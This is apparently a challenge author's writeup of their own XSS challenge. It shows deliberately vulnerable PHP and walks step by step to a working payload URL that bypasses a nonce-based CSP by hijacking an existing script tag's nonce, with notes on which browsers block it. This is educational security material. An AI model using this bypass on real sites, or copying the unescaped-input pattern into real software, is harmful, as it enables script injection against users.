My first XSS challenge - Writeup
Two weeks ago I created my first XSS challenge. A XSS challenge is similar to a CTF challenge. Whereas CTF challenges usually consist of complete Websites without a clear goal, a XSS challenge is usually short and the goal is to execute arbitrary Javascript code.
The main obstacle of my XSS challenge consisted of bypassing the CSP.
The challenge source code was public, so no hidden secrets to find. The following is a shortened version of the challenge source code:
1link<?php
2link $nonce = base64_encode(random_bytes(32));
3link header("Content-Security-Policy: default-src 'none'; script-src 'nonce-".$nonce."'"); // --> Only allow script execution with the right nonce token
4link?>
5link<html>
6link <body>
7link <?php
8link $todos = '';
9link $todos = $todos."<div> Todo #1 </div>\n"; // --> A constant TODO
10link $todos = $todos."<div> Todo #2 </div>\n"; // --> A constant TODO
11link $todos = $todos."<div> ".$_GET['todo']." </div>\n"; // --> A TODO supplied by the user over url
12link $todo_list = explode("\n", $todos);
13link foreach($todo_list as $todo) {
14link if(strpos($todo, "script") === false) { // --> Don't allow script injections in todos
15link echo $todo."\n";
16link }
17link }
18link ?>
19link
20link <script nonce="<?php echo $nonce ?>">
21link console.log("bla")
22link </script>
23link </body>
24link</html>
The first thing one should notice is the possibilty to inject arbitrary html using the todo parameter:
1link$todos = $todos."<div> ".$_GET['todo']." </div>\n"; // --> arbitrary HTML injection using ?todo=own_html
People not knowing about CSP probably think they could simply provide a script
element with arbitrary JS. The script tag filter if(strpos($todo, "script") === false)
could easily be bypassed using SCRIPT
instead of script
. However, giving it a try we get the following error in the console:
1link/*~*/ Refused to execute inline script because it violates ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~/*~*/
2link/*~*/ the following Content Security Policy directive~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~:~ ~/*~*/
3link/*~*/ ~"script-src 'nonce-FHFXLGv/SdLkQ9CjBaE8s5wiMR3W1yADF+BjNZE+ZNs='"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.~ ~/*~*/
4link/*~*/ Either the ~~~~~~~~~~~~'unsafe-inline'~~~~~~~~~~~~~~~ keyword~~~~~~~~,~ a ~~~hash~~~~ ~(~'sha256-bhHHL3z2vDgxUt0W3dWQOrprscmda2Y5pLsLg4GF+pI='~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~)~,~ ~/*~*/
5link/*~*/ or a ~~~~~~nonce~~~~~ ~(~'nonce-...'~~~~~~~~~~~)~ is required to enable inline execution~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.~ ~/*~*/
The only possible way to to execute arbitrary javascript is to add a nonce
attribute to the script
tag that is the same as the one defined in the CSP header. As the nonce is randomly generated on each page refresh, it is impossible to set it in advance.
So the big question is: how can we add a script tag with a valid nonce before we know the nonce? Most common techniques are:
However, all of these were not possible on my challenge. default-src
was set to none
, making nonce exfiltration pretty much impossible. Page caching was disabled and there was no script tag with a relative url, that could have been abused by the base tag.
The main idea was to somehow reuse the same nonce that is already used by the included script. Let's see what would happen if we open a script tag without closing it in front of another script tag:
1link <script <script nonce="randomlyGeneratedNonce">
2link console.log("bla")
3link</script>
Interestingly, the original <script
is now considered to be an attribute of our newly injected open script tag.
Even better, we can inject our own attributes inside the script tag that has the correct nonce:
1link <script id="yolo" <script nonce="randomlyGeneratedNonce">
2link console.log("bla")
3link</script>
The next big question is, what happens if we provide a src
attribute. Will it execute the script provided in the src
attribute or will it run, as before, the content (console.log
) of the <script>
element? Let's try it out in Firefox:
1link <script src="data:,alert(1)" <script nonce="randomlyGeneratedNonce"> /* --> src could also be a URL to a js file and it would also work */
2link console.log("bla")
3link</script>
This HTML snippet will actually result in an alert popping up and showing nothing in the console. So src
has a higher priority than the actual script element content.
Perfect, let's try to pop an alert with my challenge:
1linkhttps://not.lu/challenge?todo=%3cSCRIPT%20src=data:,alert(1)
But nothing happens. Let's inspect the DOM tree:
1link<SCRIPT src="data:,alert(1)" </div>
2link <script nonce="I7ZgzXJRSbrjz5vwVlPSEOGzDxBZVOjPOVJ6WQJkoWU=">
3link console.log("test")
4link</script>
The problem is, the todo we add is encapsulated inside a div element:
1link$todos = $todos."<div> ".$_GET['todo']." </div>\n";
and the >
of the ending div tag is closing our script tag before the nonce is reached.
However I sneaked a way inside the challenge to remove the ending div tag. Do you remember the filter that removes the script
tags?
It not only removes the script tag but the whole line in which the script tag is inside:
1linkforeach($todo_list as $todo) {
2link if(strpos($todo, "script") === false) { // --> If "script" is contained inside the line, don't echo the whole line.
3link echo $todo."\n";
4link }
5link}
by providing a todo with the following content: <SCRIPT src="data:,alert(1)" \n script
, we can remove the unwanted closing div tag:
1link<SCRIPT src="data:,alert(1)"
2link script </div> // --> This line will be removed as it contains "script"
3link <script nonce="I7ZgzXJRSbrjz5vwVlPSEOGzDxBZVOjPOVJ6WQJkoWU=">
4link console.log("test")
5link</script>
1linkhttps://not.lu/challenge?todo=%3cSCRIPT%20src=data:,alert(1)%0ascript
At first I was very confused why it wasn't working in Chrome. Chrome was throwing an error that the nonce was incorrect. However, the nonce attribute was set and was correct.(console.log(script.nonce)
was the same as the nonce set in the CSP header).
It was @SecurityMB who pointed me to the following CSP v3 spec: Nonceable Algorithm. The problem of abusing an already existing script tag's nonce is apprently known and this new spec prevents the mechanic . It does this by chechking for the strings <script
or <style
inside a script element's attribute names and values. If it is present it renders the nonce invalid.
Firefox and Safari don't implement this spec yet. Therefore, this mechanic could still be abused in my challenge.